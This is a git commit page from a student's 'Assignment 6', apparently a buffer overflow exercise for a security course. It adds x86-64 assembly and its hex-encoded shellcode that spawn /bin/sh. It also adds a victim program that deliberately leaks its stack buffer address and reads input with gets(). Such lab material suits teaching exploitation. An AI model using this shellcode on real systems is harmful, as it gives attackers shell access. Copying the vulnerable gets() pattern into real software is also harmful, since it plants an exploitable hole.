aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorCamil Staps2016-01-13 15:57:36 +0100
committerCamil Staps2016-01-13 15:57:36 +0100
commit5d6c89bf421cd044dff8d9f653e77972f8161403 (patch)
tree28e17b79dbd4fae7b801496abe35539eefadc0c8
parentshell, not bash (diff)
Assignment 6HEADmaster
-rwxr-xr-xCamilStaps-s4498062-Assignment-6/a.outbin0 -> 6704 bytes
-rw-r--r--CamilStaps-s4498062-Assignment-6/shell.c14
-rw-r--r--CamilStaps-s4498062-Assignment-6/shellcode2
-rwxr-xr-xCamilStaps-s4498062-Assignment-6/victimbin0 -> 7048 bytes
-rw-r--r--CamilStaps-s4498062-Assignment-6/victim.c12
5 files changed, 28 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/a.out b/CamilStaps-s4498062-Assignment-6/a.out
new file mode 100755
index 0000000..8eec823
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/a.out
Binary files differ
diff --git a/CamilStaps-s4498062-Assignment-6/shell.c b/CamilStaps-s4498062-Assignment-6/shell.c
new file mode 100644
index 0000000..6d12e02
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/shell.c
@@ -0,0 +1,14 @@
+int main() {
+ asm("\
+needle0: jmp there\n\
+here: pop %rdi\n\
+ xor %rax, %rax\n\
+ movb $0x3b, %al\n\
+ xor %rsi, %rsi\n\
+ xor %rdx, %rdx\n\
+ syscall\n\
+there: call here\n\
+.string \"/bin/sh\"\n\
+needle1: .octa 0xdeadbeef\n\
+ ");
+}
diff --git a/CamilStaps-s4498062-Assignment-6/shellcode b/CamilStaps-s4498062-Assignment-6/shellcode
new file mode 100644
index 0000000..6cc4c29
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/shellcode
@@ -0,0 +1,2 @@
+eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
+bead
diff --git a/CamilStaps-s4498062-Assignment-6/victim b/CamilStaps-s4498062-Assignment-6/victim
new file mode 100755
index 0000000..e874655
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/victim
Binary files differ
diff --git a/CamilStaps-s4498062-Assignment-6/victim.c b/CamilStaps-s4498062-Assignment-6/victim.c
new file mode 100644
index 0000000..4985bfa
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/victim.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+int main(void)
+{
+ char name[256];
+ printf("%p\n",&name);
+ puts("What’s your name?");
+ gets(name);
+ printf("Hello, %s!\n", name);
+ return 0;
+}
+